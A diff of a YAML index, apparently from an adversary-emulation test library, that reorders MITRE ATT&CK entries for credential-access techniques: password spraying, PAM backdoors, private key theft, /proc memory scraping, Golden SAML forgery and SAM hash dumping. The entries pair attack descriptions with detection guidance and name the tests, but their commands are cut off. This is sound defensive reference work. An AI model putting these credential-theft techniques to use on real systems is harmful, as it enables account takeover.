+        source_name: FoxIT Wocao December 2019
+      - url: https://github.com/GhostPack/KeeThief
+        description: Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8,
+          2021.
+        source_name: Github KeeThief
+      - url: https://nvd.nist.gov/vuln/detail/CVE-2019-3610
+        description: National Vulnerability Database. (2019, October 9). CVE-2019-3610
+          Detail. Retrieved April 14, 2021.
+        source_name: NVD CVE-2019-3610
+      - url: https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware
+        description: 'Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM
+          A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September
+          10, 2020.'
+        source_name: Cyberreason Anchor December 2019
     atomic_tests: []
   T1110.003:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Password Spraying
+      x_mitre_data_sources:
+      - 'User Account: User Account Authentication'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.2'
+      modified: '2021-04-06T12:32:47.678Z'
+      created: '2020-02-11T18:39:25.122Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       id: attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      - Google Workspace
+      - Containers
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
 
@@ -5484,47 +5539,9 @@ credential-access:
         In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
 
         In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
-      name: Password Spraying
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1110.003
-        url: https://attack.mitre.org/techniques/T1110/003
-      - external_id: CAPEC-565
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/565.html
-      - url: http://www.blackhillsinfosec.com/?p=4645
-        description: Thyer, J. (2015, October 30). Password Spraying & Other Fun with
-          RPCCLIENT. Retrieved April 25, 2017.
-        source_name: BlackHillsInfosec Password Spraying
-      - source_name: US-CERT TA18-068A 2018
-        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
-        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
-          by Cyber Actors. Retrieved October 2, 2019.
-      - source_name: Trimarc Detecting Password Spraying
-        url: https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing
-        description: 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password
-          Spraying with Security Event Auditing. Retrieved January 16, 2019.'
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-06T12:32:47.678Z'
-      created: '2020-02-11T18:39:25.122Z'
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Linux
-      - macOS
-      - Google Workspace
-      - Containers
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.2'
+      x_mitre_contributors:
+      - Microsoft Threat Intelligence Center (MSTIC)
+      - John Strand
       x_mitre_detection: |-
         Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.
 
@@ -5533,14 +5550,26 @@ credential-access:
         * Domain Controllers: "Audit Logon" (Success & Failure) for event ID 4625.
         * Domain Controllers: "Audit Kerberos Authentication Service" (Success & Failure) for event ID 4771.
         * All systems: "Audit Logon" (Success & Failure) for event ID 4648.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Application Log: Application Log Content'
-      x_mitre_contributors:
-      - Microsoft Threat Intelligence Center (MSTIC)
-      - John Strand
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1110/003
+        external_id: T1110.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/565.html
+        external_id: CAPEC-565
+        source_name: capec
+      - source_name: BlackHillsInfosec Password Spraying
+        description: Thyer, J. (2015, October 30). Password Spraying & Other Fun with
+          RPCCLIENT. Retrieved April 25, 2017.
+        url: http://www.blackhillsinfosec.com/?p=4645
+      - url: https://www.us-cert.gov/ncas/alerts/TA18-086A
+        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
+          by Cyber Actors. Retrieved October 2, 2019.
+        source_name: US-CERT TA18-068A 2018
+      - url: https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing
+        description: 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password
+          Spraying with Security Event Auditing. Retrieved January 16, 2019.'
+        source_name: Trimarc Detecting Password Spraying
       identifier: T1110.003
     atomic_tests:
     - name: Password Spray all Domain Users
@@ -5710,42 +5739,16 @@ credential-access:
           Write-Host "End of password spraying"
   T1556.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.003
-        url: https://attack.mitre.org/techniques/T1556/003
-      - source_name: Apple PAM
-        url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
-        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
-          Retrieved June 25, 2020.
-      - source_name: Man Pam_Unix
-        url: https://linux.die.net/man/8/pam_unix
-        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
-          25, 2020.
-      - source_name: Red Hat PAM
-        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
-        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
-          (PAM). Retrieved June 25, 2020.
-      - source_name: PAM Backdoor
-        url: https://github.com/zephrax/linux-pam-backdoor
-        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
-          25, 2020.
-      - source_name: PAM Creds
-        url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
-        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
-          PAM backdoors & DNS requests. Retrieved June 26, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Pluggable Authentication Modules
-      description: |-
-        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)
-
-        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)
-
-        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
-      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
       type: attack-pattern
+      name: Pluggable Authentication Modules
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '2.0'
+      modified: '2021-10-17T14:48:33.580Z'
+      created: '2020-06-26T04:01:09.648Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
@@ -5753,25 +5756,51 @@ credential-access:
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-20T20:12:34.422Z'
-      created: '2020-06-26T04:01:09.648Z'
-      x_mitre_version: '2.0'
+      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
+      x_mitre_platforms:
+      - Linux
+      - macOS
       x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - root
+      description: |-
+        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)
+
+        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)
+
+        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
+      x_mitre_contributors:
+      - Scott Knight, @sdotknight, VMware Carbon Black
+      - George Allen, VMware Carbon Black
       x_mitre_detection: |-
         Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
 
         Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      - 'Logon Session: Logon Session Creation'
-      x_mitre_contributors:
-      - Scott Knight, @sdotknight, VMware Carbon Black
-      - George Allen, VMware Carbon Black
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/003
+        external_id: T1556.003
+        source_name: mitre-attack
+      - url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
+        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
+          Retrieved June 25, 2020.
+        source_name: Apple PAM
+      - url: https://linux.die.net/man/8/pam_unix
+        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
+          25, 2020.
+        source_name: Man Pam_Unix
+      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
+        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
+          (PAM). Retrieved June 25, 2020.
+        source_name: Red Hat PAM
+      - url: https://github.com/zephrax/linux-pam-backdoor
+        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
+          25, 2020.
+        source_name: PAM Backdoor
+      - url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
+        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
+          PAM backdoors & DNS requests. Retrieved June 26, 2020.
+        source_name: PAM Creds
       identifier: T1556.003
     atomic_tests:
     - name: Malicious PAM rule
@@ -5868,7 +5897,27 @@ credential-access:
 '
   T1552.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Private Keys
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T21:36:36.613Z'
+      created: '2020-02-04T13:06:49.258Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       id: attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may search for private key certificate files on compromised
         systems for insecurely stored credentials. Private cryptographic keys and
         certificates are used for authentication, encryption/decryption, and digital
@@ -5884,50 +5933,30 @@ credential-access:
         for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056)
         for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110)
         the passphrase off-line."
-      name: Private Keys
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1552.004
-        url: https://attack.mitre.org/techniques/T1552/004
-      - url: https://en.wikipedia.org/wiki/Public-key_cryptography
-        description: Wikipedia. (2017, June 29). Public-key cryptography. Retrieved
-          July 5, 2017.
-        source_name: Wikipedia Public Key Crypto
-      - url: https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
-        description: Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The
-          Masked APT. Retrieved July 5, 2017.
-        source_name: Kaspersky Careto
-      - url: https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
-        description: Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia
-          – Game Over. Retrieved July 5, 2017.
-        source_name: Palo Alto Prince of Persia
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-03-29T21:36:36.613Z'
-      created: '2020-02-04T13:06:49.258Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
       x_mitre_contributors:
       - Itzik Kotler, SafeBreach
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Command: Command Execution'
       x_mitre_detection: Monitor access to files and directories related to cryptographic
         keys and certificates as a means for potentially detecting access patterns
         that may indicate collection and exfiltration activity. Collect authentication
         logs and look for potentially abnormal activity that may indicate improper
         use of keys or certificates for remote authentication.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1552/004
+        external_id: T1552.004
+        source_name: mitre-attack
+      - source_name: Wikipedia Public Key Crypto
+        description: Wikipedia. (2017, June 29). Public-key cryptography. Retrieved
+          July 5, 2017.
+        url: https://en.wikipedia.org/wiki/Public-key_cryptography
+      - source_name: Kaspersky Careto
+        description: Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The
+          Masked APT. Retrieved July 5, 2017.
+        url: https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
+      - source_name: Palo Alto Prince of Persia
+        description: Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia
+          – Game Over. Retrieved July 5, 2017.
+        url: https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
       identifier: T1552.004
     atomic_tests:
     - name: Private Keys
@@ -6140,34 +6169,29 @@ credential-access:
         name: powershell
   T1003.007:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1003.007
-        url: https://attack.mitre.org/techniques/T1003/007
-      - url: https://github.com/huntergregal/mimipenguin
-        description: Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5,
-          2017.
-        source_name: MimiPenguin GitHub May 2017
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Proc Filesystem
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'File: File Access'
+      x_mitre_version: '1.0'
+      modified: '2020-03-19T15:32:18.098Z'
+      created: '2020-02-11T18:46:24.434Z'
+      x_mitre_permissions_required:
+      - root
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d
       description: |-
         Adversaries may gather credentials from information stored in the Proc filesystem or <code>/proc</code>. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.
 
         This functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.
-      id: attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-03-19T15:32:18.098Z'
-      created: '2020-02-11T18:46:24.434Z'
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'File: File Access'
-      x_mitre_permissions_required:
-      - root
       x_mitre_detection: To obtain the passwords and hashes stored in memory, processes
         must open a maps file in the /proc filesystem for the process being analyzed.
         This file is stored under the path <code>/proc/\*/maps</code>, where the <code>\*</code>
@@ -6175,10 +6199,15 @@ credential-access:
         data. The AuditD monitoring tool, which ships stock in many Linux distributions,
         can be used to watch for hostile processes opening this file in the proc file
         system, alerting on the pid, process name, and arguments of such programs.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1003/007
+        external_id: T1003.007
+        source_name: mitre-attack
+      - source_name: MimiPenguin GitHub May 2017
+        description: Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5,
+          2017.
+        url: https://github.com/huntergregal/mimipenguin
       identifier: T1003.007
     atomic_tests:
     - name: Dump individual process memory with sh (Local)
@@ -6348,70 +6377,72 @@ credential-access:
         elevation_required: true
   T1606.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1606.002
-        url: https://attack.mitre.org/techniques/T1606/002
-      - source_name: Microsoft SolarWinds Steps
-        url: https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/
-        description: Lambert, J. (2020, December 13). Important steps for customers
-          to protect themselves from recent nation-state cyberattacks. Retrieved December
-          17, 2020.
-      - source_name: Microsoft SAML Token Lifetimes
-        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes
-        description: Microsoft. (2020, December 14). Configurable token lifetimes
-          in Microsoft Identity Platform. Retrieved December 22, 2020.
-      - source_name: Cyberark Golden SAML
-        url: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
-        description: 'Reiner, S. (2017, November 21). Golden SAML: Newly Discovered
-          Attack Technique Forges Authentication to Cloud Apps. Retrieved December
-          17, 2020.'
-      - source_name: Microsoft SolarWinds Customer Guidance
-        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
-        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
-          Cyber Attacks. Retrieved December 17, 2020.
-      - source_name: Sygnia Golden SAML
-        url: https://www.sygnia.co/golden-saml-advisory
-        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
-          Attack. Retrieved January 6, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: SAML Tokens
-      description: |-
-        An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)
-
-        An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
-
-        An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)
-      id: attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-14T14:29:27.290Z'
-      created: '2020-12-17T15:24:12.240Z'
-      x_mitre_permissions_required:
-      - Administrator
+      name: SAML Tokens
       x_mitre_data_sources:
       - 'Logon Session: Logon Session Creation'
       - 'Web Credential: Web Credential Creation'
       - 'Web Credential: Web Credential Usage'
-      x_mitre_contributors:
-      - Blake Strom, Microsoft 365 Defender
-      - Oleg Kolesnikov, Securonix
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_detection: |-
-        This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)
-
-        Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)
+      x_mitre_version: '1.2'
+      modified: '2021-09-20T16:47:19.173Z'
+      created: '2020-12-17T15:24:12.240Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      x_mitre_permissions_required:
+      - Administrator
       x_mitre_platforms:
       - Azure AD
       - SaaS
       - Windows
       - Office 365
       - Google Workspace
+      - IaaS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2
+      description: |-
+        An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)
+
+        An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
+
+        An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)
+      x_mitre_contributors:
+      - Jen Burns, HubSpot
+      - Blake Strom, Microsoft 365 Defender
+      - Oleg Kolesnikov, Securonix
+      x_mitre_detection: |-
+        This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)
+
+        Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1606/002
+        external_id: T1606.002
+        source_name: mitre-attack
+      - url: https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/
+        description: Lambert, J. (2020, December 13). Important steps for customers
+          to protect themselves from recent nation-state cyberattacks. Retrieved December
+          17, 2020.
+        source_name: Microsoft SolarWinds Steps
+      - url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes
+        description: Microsoft. (2020, December 14). Configurable token lifetimes
+          in Microsoft Identity Platform. Retrieved December 22, 2020.
+        source_name: Microsoft SAML Token Lifetimes
+      - url: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
+        description: 'Reiner, S. (2017, November 21). Golden SAML: Newly Discovered
+          Attack Technique Forges Authentication to Cloud Apps. Retrieved December
+          17, 2020.'
+        source_name: Cyberark Golden SAML
+      - url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
+        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
+          Cyber Attacks. Retrieved December 17, 2020.
+        source_name: Microsoft SolarWinds Customer Guidance
+      - url: https://www.sygnia.co/golden-saml-advisory
+        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
+          Attack. Retrieved January 6, 2021.
+        source_name: Sygnia Golden SAML
       identifier: T1606.002
     atomic_tests:
     - name: Golden SAML
@@ -6457,18 +6488,26 @@ credential-access:
         name: powershell
   T1003.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1003.002
-        url: https://attack.mitre.org/techniques/T1003/002
-      - url: https://github.com/Neohapsis/creddump7
-        description: Flathers, R. (2018, February 19). creddump7. Retrieved April
-          11, 2018.
-        source_name: GitHub Creddump7
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Security Account Manager
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Access'
+      - 'File: File Access'
+      x_mitre_version: '1.0'
+      modified: '2020-03-25T15:17:30.640Z'
+      created: '2020-02-11T18:42:07.281Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
       description: "Adversaries may attempt to extract credential material from the
         Security Account Manager (SAM) database either through in-memory techniques
         or through the Windows Registry where the SAM database is stored. The SAM
@@ -6482,21 +6521,8 @@ credential-access:
         be used to process the SAM database locally to retrieve hashes.(Citation:
         GitHub Creddump7)\n\nNotes: \n* RID 500 account is the local, built-in administrator.\n*
         RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n"
-      id: attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-03-25T15:17:30.640Z'
-      created: '2020-02-11T18:42:07.281Z'
       x_mitre_contributors:
       - Ed Williams, Trustwave, SpiderLabs
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Access'
-      - 'File: File Access'
-      x_mitre_permissions_required:
-      - SYSTEM
       x_mitre_detection: Hash dumpers open the Security Accounts Manager (SAM) on
         the local file system (<code>%SystemRoot%/system32/config/SAM</code>) or create
         a dump of the Registry SAM key to access stored account password hashes. Some
@@ -6504,10 +6530,15 @@ credential-access:
         SAM table to avoid file access defenses. Others will make an in-memory copy
         of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078)
         in-use by adversaries may help as well.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1003/002
+        external_id: T1003.002
+        source_name: mitre-attack
+      - source_name: GitHub Creddump7
